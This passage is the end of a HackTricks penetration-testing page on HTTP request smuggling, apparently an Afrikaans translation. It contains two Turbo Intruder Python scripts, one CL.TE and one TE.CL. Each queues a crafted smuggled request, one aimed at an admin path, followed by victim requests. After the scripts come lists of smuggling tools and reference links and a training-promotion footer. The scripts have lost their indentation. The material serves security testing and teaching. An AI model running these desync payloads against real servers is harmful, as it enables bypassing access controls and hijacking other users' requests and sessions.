resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Van: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Tools

• https://github.com/anshumanpattnaik/http-request-smuggling
• https://github.com/PortSwigger/http-request-smuggler
• https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
• https://github.com/defparam/smuggler
• https://github.com/Moopinger/smugglefuzz
• https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Hierdie hulpmiddel is 'n grammatika-gebaseerde HTTP Fuzzer wat nuttig is om vreemde versoek smuggling verskille te vind.

References

• https://portswigger.net/web-security/request-smuggling
• https://portswigger.net/web-security/request-smuggling/finding
• https://portswigger.net/web-security/request-smuggling/exploiting
• https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
• https://github.com/haroonawanofficial/HTTP-Desync-Attack/
• https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
• https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
• https://portswigger.net/research/trace-desync-attack
• https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}